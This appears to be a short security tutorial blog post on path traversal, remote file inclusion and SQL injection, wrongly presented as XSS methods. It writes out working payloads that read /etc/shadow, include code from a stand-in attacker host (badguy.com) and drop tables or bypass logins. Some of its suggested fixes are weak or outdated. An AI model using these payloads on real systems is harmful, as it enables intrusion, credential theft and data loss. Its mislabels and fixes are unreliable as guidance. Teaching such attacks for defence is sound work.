Advanced XSS methods and how to prevent – part 2
At part 1, i’ve introduced about 2 methods of XSS, they’re Parameter Tampering, Cross-Site Request Forgery (CSRF).
In this part, i will show you 2 more mthods of XSS: Path Traversal, Remote File Inclusion, SQL Injection
1. Path Traversal
Assume there’s a script to print the contents of a file to the browser
- Located at /var/www/scripts/showfile.php
example.com/scripts/showfile.php?file=foo.txt
- Encrypted password file located at:
- /etc/shadow
- Attacker can print the contents of the password file:
– showfile.php?file=../../../etc/shadow
– This assumes that Apache has permission to read shadow in the first place.
Solution
This can be prevented by setting the correct permissions for your files
– /etc/shadow can only be read by root, not Apache
Server configuration settings also allow you to prevent files from being accessed over the Web
– .htaccess: in the directory to be protected
– httpd.conf: Apache configuration settings
Could use str_replace to remove “/” and “\”
2. Remote File Inclusion
Consider include.php?file=foo
– include($_GET[‘file’] . “.php”);
– Includes foo.php inside the document
include.php?file=http://badguy.com/42.php?
– include(“http://badguy.com/42.php?.php”);
– We need the “?” so the filename doesn’t become “42.php.php”
Solution: Don’t pass anything directly into include(), exec(), system(), etc, ever.
3. SQL Injection
Consider the following in insecure.php:
– $id = $_GET[‘id’];
– $q = “SELECT * FROM table WHERE id=’$id’ “;
– $result = mysql_query($q);
$id isn’t escaped, so we can set $id to a value that starts a new query
– End the old query early, and start a new query
– Comment out the rest of the old query
Example: Dropping a table
insecure.php?id=‘; DROP TABLE users;–
– “SELECT * FROM table WHERE id=’DROP TABLE users;–
– ”; Ends the original query. We can start a new one
– DROP TABLE users; Execute a new query.
– –‘; Comment out the leftover from the original.
Example: Bypassing a login:
In the password field: ‘OR 1=1;–‘
“SELECT * FROM users WHERE uname=’$user’ AND pass=’$pass’;
- "SELECT * FROM users WHERE uname='$user' AND pass='' OR 1=1;--'
=> While the (uname AND pass) conditions will fail, 1=1 will always succeed!
We’ve already discussed a solution: escape all of the special characters in strings before using them
Solution: Use mysql_real_escape_string($str) for this!
4. References
http://itws2110.davidwatson.name/sites/default/files/lec20_security.pdf